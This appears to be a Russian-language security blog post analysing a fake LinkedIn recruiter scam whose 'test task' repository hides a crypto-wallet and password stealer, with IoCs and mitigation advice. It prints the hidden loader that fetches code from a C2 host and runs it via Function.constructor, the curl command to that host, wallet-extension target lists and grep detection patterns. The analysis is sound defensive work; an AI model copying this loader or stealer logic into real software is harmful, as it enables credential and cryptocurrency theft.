Disclaimer: Эта статья предназначена исключительно для образовательных целей и повышения осведомлённости о киберугрозах. Любое использование описанных техник в злонамеренных целях строго запрещено и преследуется по закону.
TL;DR: Обнаружена схема мошенничества. Злоумышленники выдают себя за Web3-компании, предлагают "тестовое задание", которое на самом деле содержит malware для кражи криптовалютных кошельков и паролей из браузеров. В статье — детальный разбор атаки с техническим анализом.
Введение
В последнее время на LinkedIn активизировались мошенники, использующие хитроумную схему для кражи криптовалюты. Под видом рекрутеров из Web3-компаний они предлагают высокооплачиваемую работу QA-инженерам, а вместо собеседования отправляют "тестовое задание" — репозиторий с malware.
Эта статья — подробный разбор реальной атаки, которую удалось распознать до запуска вредоносного кода. Разберём всю цепочку: от первого сообщения до технических деталей malware.
⚠️ Важно: Все ссылки на вредоносные ресурсы обезврежены или указаны для целей идентификации угрозы.
Часть 1: Социальная инженерия
Первый контакт
Всё начинается с сообщения в LinkedIn от "рекрутера":
Привет!
Меня зовут Julia, я Business Owner компании Dredsoftlabs.
Мы расширяем команду и работаем над крутыми проектами:
DApp, Web3-игра и платформа для торговли криптовалютой.
Ищем QA-инженера. Готовы нанять немедленно.
Ставка: $80-120/час, есть full-time и part-time опции.
Интересно? Давайте обсудим!
? Красные флаги
Даже на этом этапе видны подозрительные моменты:
Подозрительная ставка: $80-120/час для QA — это $12,800-19,200/месяц или ~$230,000/год.
"Готовы нанять немедленно": Создание искусственной срочности — классический приём социальной инженерии.
Фокус на Web3/крипто: Целевая аудитория — люди, владеющие криптовалютой.
Развитие контакта
После проявления интереса мошенники присылают:
Notion-страницу с подробным описанием вакансии (выглядит профессионально)
Запрос метода оплаты ДО собеседования (!!!)
"Тестовое задание"
После отправки резюме приходит следующее сообщение:
Мы тщательно изучили ваше резюме.
Вы отлично подходите для позиции QA-инженера!
Следующий шаг — простое техническое задание на основе
тестового проекта. Займёт 30-60 минут.
После успешного выполнения — сразу в найм, без ожидания.Готовы начать? Вышлю инструкции.
Затем приходят Google Docs с описанием "тестового проекта" и ссылка на Bitbucket:
Скрытый текст
Репозиторий: bitbucket.org/workspace8601/real_estate_platform
Задание:Клонировать репозиторий
Запустить проект локально (npm install && npm start)
Найти 5+ багов
Написать тест-кейсы
Записать видео с findings
Выглядит как обычное тестовое для QA. НО ЭТО ЛОВУШКА.
? Часть 2: Технический анализ
Структура проекта
На первый взгляд — обычное React-приложение с Node.js backend:
real_estate_platform/
├── src/ ← React frontend (легитимный)
├── server/ ← Node.js backend
│ ├── app.js
│ ├── server.js
│ ├── config/
│ │ └── .env ← ⚠️ ВРЕДОНОСНАЯ КОНФИГУРАЦИЯ
│ └── middlewares/
│ └── validator/
│ └── errorHandler.js ← ? MALWARE ENTRY POINT
├── package.json
└── README.md
Frontend действительно работает — это платформа недвижимости с криптовалютными платежами. Но в backend скрыт malware.
Точка входа malware
Файл server/config/.env содержит подозрительные Base64-строки:
# Runtime Configuration
RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw==
RUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy
RUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0
Декодируем:
$ echo "aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw==" | base64 -d
<https://api-server-mocha.vercel.app/api/ipcheck-encrypted/603>
$ echo "eC1zZWNyZXQtaGVhZGVy" | base64 -d
x-secret-header
$ echo "c2VjcmV0" | base64 -d
secret
Это адрес Command & Control (C2) сервера!
Механизм Remote Code Execution (RCE)
Файл server/middlewares/validator/errorHandler.js содержит опасный код:
const errorHandler = (error) => {
if (typeof error !== 'string') return;
// ? ОПАСНО: Создаёт функцию из строки
const createHandler = (errCode) => {
const handler = new (Function.constructor)('require', errCode);
return handler;
};
const handlerFunc = createHandler(error);
if (handlerFunc) {
handlerFunc(require); // ← ВЫПОЛНЯЕТ ПРОИЗВОЛЬНЫЙ КОД
}
};
const errorTimeHandler = async () => {
// Декодирует Base64 из .env
const src = atob(process.env.RUNTIME_CONFIG_API_KEY);
const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);
const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);
try {
// Запрашивает payload с C2 сервера
globalConfig = await axios.get(src, {headers: {[k]: v}});
} catch (error) {
// Выполняет полученный payload через errorHandler
errorHandler(error.response?.data || error.message);
}
};
Как это работает:
1. npm start запускает Node.js сервер
↓
2. errorTimeHandler() выполняется автоматически
↓
3. Делает HTTP-запрос на C2 сервер:
GET <https://api-server-mocha.vercel.app/api/ipcheck-encrypted/603>
Header: x-secret-header: secret
↓
4. C2 возвращает обфусцированный JavaScript
↓
5. errorHandler() создаёт функцию из строки через Function.constructor
↓
6. Код выполняется с полным доступом к require() → ВСЁ
Payload с C2 сервера
Я запросил payload с их сервера (без выполнения):
$ curl -H "x-secret-header: secret" \\\\
"<https://api-server-mocha.vercel.app/api/ipcheck-encrypted/603>"
Получил ~50KB обфусцированного JavaScript кода. После деобфускации обнаружено:
1. Целевые браузеры
const browsers = [
'BraveSoftware/Brave-Browser',
'Google/Chrome',
'Microsoft/Edge',
'Mozilla/Firefox',
'Opera'
];
2. Криптовалютные кошельки (20+ расширений)
const targetWallets = [
'nkbihfbeogaeaoehlefnkodbefgpgknn', // MetaMask
'bfnaelmomeimhlpmgjnjophhpkkoljpa', // Phantom
'hnfanknocfeofbddgcijnmhnfnkdnaad', // Coinbase Wallet
'fhbohimaelbohpjbbldcngcnapndodjp', // Binance Chain Wallet
'odbfpeeihdkbihmopkbjmoonfanlbfcl', // Brave Wallet
'egjidjbpglichdcondbcbdnbeeppgdph', // Trust Wallet
// ... ещё 15+ кошельков
];
3. Файловые операции
Malware ищет и крадёт:
Windows:
%APPDATA%/Roaming/Exodus/exodus.wallet(Exodus wallet)%LOCALAPPDATA%/Google/Chrome/User Data/Default/(пароли, cookies)%LOCALAPPDATA%/BraveSoftware/Brave-Browser/(расширения кошельков)
macOS:
~/Library/Application Support/Exodus/exodus.wallet~/Library/Application Support/Google/Chrome/~/.config/(для Linux)
Что крадёт:
Seed-фразы криптокошельков
Private keys
Пароли из браузеров (Login Data)
Cookies (активные сессии)
История браузера
SSH ключи (~/.ssh/)
AWS credentials (~/.aws/)
4. Эксфильтрация данных
const hostURL = '<http://146>.[REDACTED]'; // IP-адрес атакеров
// Собирает системную информацию
const systemInfo = {
hostname: os.hostname(),
platform: os.platform(),
homeDir: os.homedir()
};
// Отправляет украденные данные
Upload(stolenFiles, hostURL);
Схема атаки
┌─────────────────────┐
│ Жертва запускает │
│ npm start │
└──────────┬──────────┘
│
▼
┌─────────────────────┐
│ errorTimeHandler() │
│ делает запрос на C2 │
└──────────┬──────────┘
│
▼
┌─────────────────────────────┐
│ Vercel C2 Server │
│ api-server-mocha.vercel.app │
│ Возвращает payload │
└──────────┬──────────────────┘
│
▼
┌──────────────────────────┐
│ Function.constructor() │
│ создаёт функцию из строки│
└──────────┬───────────────┘
│
▼
┌────────────────────────────────┐
│ Payload выполняется с полным │
│ доступом к FS, network, etc │
└──────────┬─────────────────────┘
│
├─→ Сканирует браузеры
├─→ Крадёт wallet extensions
├─→ Копирует Exodus wallet
├─→ Ворует пароли/cookies
└─→ Отправляет на 146.x.x.x
? Часть 3: Indicators of Compromise (IoCs)
Если вы получили подобное предложение, проверьте эти индикаторы:
Сетевые индикаторы
C2 Servers:
api-server-mocha.vercel.app
146.[REDACTED] (IP-адрес эксфильтрации)
Домены:
dredsoftlabs.com (фронт-сайт)
Репозитории
Bitbucket: workspace8601/real_estate_platform
URL: bitbucket.org/workspace8601/real_estate_platform
Файловые индикаторы
Вредоносные файлы:
server/middlewares/validator/errorHandler.js
server/config/.env (содержит Base64 C2 config)
Поведенческие индикаторы
Вакансия с нереалистичной оплатой
Запрос payment method до собеседования
Тестовое задание требует
npm install/npm startBitbucket репозиторий от неизвестного workspace
Base64-encoded переменные окружения в .env
Dynamic function construction (
Function.constructor)
?️ Часть 4: Защита и митигация
Как распознать scam
Слишком хорошая оплата
-
Давление срочности
"Готовы нанять немедленно"
"Без waiting period"
"Быстрый найм"
-
Запрос финансовой информации
Payment method ДО оффера
Crypto wallet address
Banking details
-
Подозрительное тестовое
Требует установки пакетов (
npm install)Клонирование неизвестного репозитория
Запуск кода (
npm start,python main.py)
✅ Best Practices
Для job seekers:
Верификация компании:
Независимый поиск (не по ссылкам от рекрутера)
Проверка возраста домена (whois)
LinkedIn компании с реальными сотрудниками
Отзывы на Glassdoor/Habr CareerБезопасные тестовые:
Используйте платформы (HackerRank, CodeSignal)
Или статический code review (без запуска)
VM/Docker для подозрительного кода
НИКОГДА не запускайте код из неизвестных репозиториевВо время коммуникации:
Видеозвонок с рекрутером
Проверка email домена (не Gmail/Outlook для корп. вакансий)
Отказ от "срочных" предложений
Для разработчиков:
# Перед запуском npm install проверьте:
# 1. Файлы с Base64-строками
grep -r "atob\\\\|base64\\\\|Buffer.from" .
# 2. Подозрительные конструкции
grep -r "Function.constructor\\\\|eval\\\\|new Function" .
# 3. Сетевые запросы
grep -r "axios.get\\\\|fetch\\\\|http.request" .
# 4. Файловые операции
grep -r "fs.readFile\\\\|fs.writeFile\\\\|readFileSync" .
# 5. Обфусцированный код (переменные типа _0x...)
grep -r "_0x[0-9a-f]" .
? Если вы ЗАПУСТИЛИ malware
НЕМЕДЛЕННО:
Отключите интернет (физически!)
-
Проверьте процессы:
# macOS/Linux ps aux | grep node kill -9 <PID> # Windows tasklist | findstr node taskkill /F /PID <PID> -
Переведите криптовалюту:
Создайте НОВЫЕ кошельки (новые seed phrases)
Переведите ВСЕ активы немедленно
Старые кошельки считайте скомпрометированными
-
Смените ВСЕ пароли:
Email (в первую очередь!)
Банковские аккаунты
Криптобиржи (Binance, Coinbase, etc.)
Облачные сервисы (AWS, GCP, Azure)
SSH ключи (создайте новые)
-
Отзовите сессии:
Google: myaccount.google.com/security
Facebook: /settings/security_login/sessions
GitHub: /settings/sessions
В течение 24 часов:
-
Проверьте persistence:
# Cron jobs crontab -l # Startup items (macOS) ls ~/Library/LaunchAgents/ ls ~/Library/LaunchDaemons/ # Autostart (Linux) ls ~/.config/autostart/ Антивирус-сканирование.
-
Мониторинг счетов:
Проверяйте банковские транзакции
Установите fraud alerts
Следите за адресами кошельков
-
Репорт инцидента:
Локальная полиция (если есть финансовые потери)
FBI IC3: ic3.gov (для США)
Киберполиция вашей страны
(по желанию) Полная переустановка ОС с чистого backup.
? Часть 5: Куда сообщить
Platforms
Bitbucket:
Email: abuse@atlassian.com
Subject: Malware repository
Link: bitbucket.org/workspace8601/real_estate_platform
Vercel:
Support: vercel.com/support
Subject: Malicious C2 endpoint
Domain: api-server-mocha.vercel.app
LinkedIn:
Report profile: "скамер"
Reason: Scam / Phishing
Security Community
VirusTotal:
Загрузите sample:
server/middlewares/validator/errorHandler.js
AbuseIPDB:
IP: 146.[REDACTED]
Category: Malware distribution
URLhaus:
? Выводы и уроки
Для соискателей
-
Здоровый скептицизм — ваш друг
Если предложение слишком хорошее → проверьте дважды
Срочность = давление = red flag
-
Верификация обязательна
Независимый поиск компании
Видеозвонок с рекрутером
Проверка через знакомых в индустрии
-
Безопасные тестовые задания
Легитимные компании используют платформы
Или дают code review без запуска
Никогда не запускайте код из неизвестных репозиториев
Для security community
-
Социальная инженерия эффективна
Даже security-aware люди попадаются
Профессиональный вид снижает бдительность
-
Supply chain риски
npm/yarn пакеты из недоверенных источников
package.json scripts выполняются автоматически
Проверяйте код перед установкой зависимостей
-
Обфускация работает
JavaScript легко обфусцировать
Статический анализ не всегда помогает
Нужны sandbox и динамический анализ
Масштаб проблемы
Эта атака — не единичный случай. Аналогичные схемы:
Используются для targeting разработчиков всех уровней
Нацелены на владельцев криптовалюты
Эволюционируют (новые векторы, обфускация)
Сложно детектируются (легитимные платформы)
Потенциальный ущерб:
Кража криптовалюты: от $0 до миллионов (зависит от жертвы)
Identity theft
Corporate data breach (если использовали рабочий компьютер)
Backdoor для долгосрочного доступа
? Дополнительные материалы
Проверка компании:
Безопасность:
Sandbox для анализа:
any.run — интерактивная sandbox
Deobfuscation:
? Заключение
Эта атака демонстрирует опасную тенденцию: профессионализация киберпреступности. Злоумышленники используют:
Легитимные платформы (LinkedIn, Bitbucket, Vercel)
Профессиональную социальную инженерию
Технически сложный malware
Фокус на high-value targets (crypto holders)
Главный вывод:
Никогда не запускайте код из неизвестных источников, особенно в контексте найма. При малейших сомнениях — откажитесь от "тестового задания" и попросите альтернативу.
Если эта статья помогла вам избежать подобного скама — поделитесь ею с коллегами. Stay vigilant! ?️
Комментарии (3)

General_Mobile
23.11.2025 15:42Спасибо за статью! Мой друг поделился со мной вашей публикацией, так как знал, что я уже почти месяц ломаю голову над тем, как у меня с кошелька увели всю крипто валюту (включая застейканные TRX).
ПС. Если интересно оценить масштаб проблемы, то могу поделиться адресом кошелька мошенника в сети TRON, который по этой схеме продолжает воровать крипту у пользователей.
gmtd
Поясните, почему кошельки будут скомпрометированы, если они все равно защищены сид фразами и паролями?
General_Mobile
Когда у вас украдут сид-фразу или приватный ключ от кошелька, то вам сразу станет все понятно :)